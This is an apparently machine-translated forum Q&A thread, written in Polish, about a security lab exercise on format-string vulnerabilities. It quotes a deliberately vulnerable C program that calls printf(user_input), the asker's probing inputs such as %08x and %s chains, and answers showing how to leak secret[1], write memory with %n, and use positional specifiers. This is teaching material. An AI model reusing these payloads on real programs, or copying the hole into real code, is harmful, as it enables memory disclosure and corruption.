2013-04-17 11 views
9

pracuję na format string podatności laboratorium, dokąd dany następujący kod:Dostęp 2nd element tablicy w ataku podatności format string

#define SECRET1 0x44 
#define SECRET2 0x55 

int main(int argc, char *argv[]) 
{ 
    char user_input[100]; 
    int *secret; 
    int int_input; 
    int a, b, c, d; /* other variables, not used here.*/ 

    /* The secret value is stored on the heap */ 
    secret = (int *) malloc(2*sizeof(int)); 

    /* getting the secret */ 
    secret[0] = SECRET1; 
    secret[1] = SECRET2; 

    printf("The variable secret's address is 0x%.8x (on stack)\n", &secret); 
    printf("The variable secret's value is 0x%.8x (on heap)\n", secret); 
    printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]); 
    printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]); 

    printf("Please enter a decimal integer\n"); 
    scanf("%d", &int_input); /* getting an input from user */ 
    printf("Please enter a string\n"); 
    scanf("%s", user_input); /* getting a string from user */ 

    /* vulnerable place */ 
    printf(user_input); 
    printf("\n"); 

    /* Verify whether your attack is successful */ 
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); 
    printf("The new secrets:  0x%x -- 0x%x\n", secret[0], secret[1]); 
    return 0; 
    } 

Nie powinniśmy zmodyfikować kod w ogóle. Używając tylko danych wejściowych, mamy 4 cele: awarię programu, wydruk wartości w tajemnicy [1], modyfikowanie wartości w tajemnicy [1] i modyfikowanie wartości w tajemnicy [1] do wcześniej ustalonej wartości.

Przykładowe wyjście pojawia się:

The variable secret's address is 0xbfffe7cc (on stack) 
The variable secret's value is -x0804a008 (on heap) 
secret[0]'s address is 0x0804a008 (on heap) 
secret[1]'s address is 0x0804a00c (on heap) 
Please enter a decimal integer 
65535 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. 
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025 

Tak, wprowadzając 8 "% 08X" S, wydrukować adres sekret + 4, a następnie wydrukować adresy int a, b, c, i d - ale ponieważ nigdy nie dałem im żadnej wartości, nie wskazują one nigdzie i wyświetlają tylko cyfry 0. Następnie wprowadzany jest dziesiętny, tak aby "ffff" był wyraźnie widoczny. Następnie przychodzi adres sekretu [0], a następnie dostaję się do innych wartości zapisanych w programie.

Jeśli miałbym wprowadzić AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x., po .0804a008 będzie .41414141, ponieważ A z ciągu znaków będą tam przechowywane.

Program dość łatwo ulega zawieszeniu: wystarczająca liczba% s na wejściu łańcuchowym powoduje błąd segfault. Teraz muszę przeczytać wartość w tajemnicy [1], a ja jestem totalnie zagubiony. Próbowałem jakoś umieścić adres na stosie, umieszczając go na początku łańcucha w następujący sposób: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, ale adres nie jest nigdzie nigdzie popychany i po prostu drukuję sekret [0] (co dla ciekawskich, to "D"). Próbowałem różnych adresów, ale po pewnym czasie uświadomiłem sobie, że przechowuję je wszystkie jako ciąg znaków, gdzie te A pojawiły się wcześniej. Nie są konwertowane na hex lub cokolwiek.

Widziałem wiele dyskusji na temat tego kodu na SA i innych miejscach, ale jeszcze nie widziałem, aby ktoś mówił o tym, jak uzyskać tajne wartości [1].

Każda pomoc zostanie bardzo doceniona.

Odpowiedz

4

Aby uzyskać dostęp do sekretu [1], należy wprowadzić jego adres jako wejście liczbowe.

Please enter a decimal integer 
73740 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%s 
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U 
+0

Tak, tego właśnie mi brakowało. Czułem się jak totalny idiota po stwierdzeniu tego. Dziękuję Ci! – Max

3

Sztuką jest użycie specyfikatora %n w określonym przez użytkownika ciągu formatów. %n mówi, aby pobrać liczbę bajtów zapisanych do tej pory i przechowywać je pod adresem wskazanym przez następny argument. Jeśli nie podasz wystarczającej liczby argumentów do printf, adres, na który pisze, to wartość, która ma być następna na stosie. Jeśli możesz wykorzystać ten adres do tego, czego chcesz, to zasadniczo możesz zapisać 4-bajtową liczbę całkowitą w dowolnym miejscu w pamięci.

// Normal usage: count receives the value 14, since 14 bytes were written when 
// the %n was encountered 
int count; 
printf("Hello, world!\n%n", &count); 

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in 
// memory 
printf("Hello, world!\n%n"); 
+0

Zgadza się, ale byłeś trochę przede mną: Robiłem bałagan próbując po prostu znaleźć wartości, które nie były na stosie. Gdy wartości są dostępne, nie są zbyt trudne do modyfikacji. Wciąż brakowało mi boleśnie oczywistej odpowiedzi, być może dlatego wyjaśniłeś bardziej skomplikowaną (lub co najmniej bardziej interesującą) część. – Max

1

Rzeczywiście można określić przesunięcie bezpośrednio w ciągu formatu.

np.

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog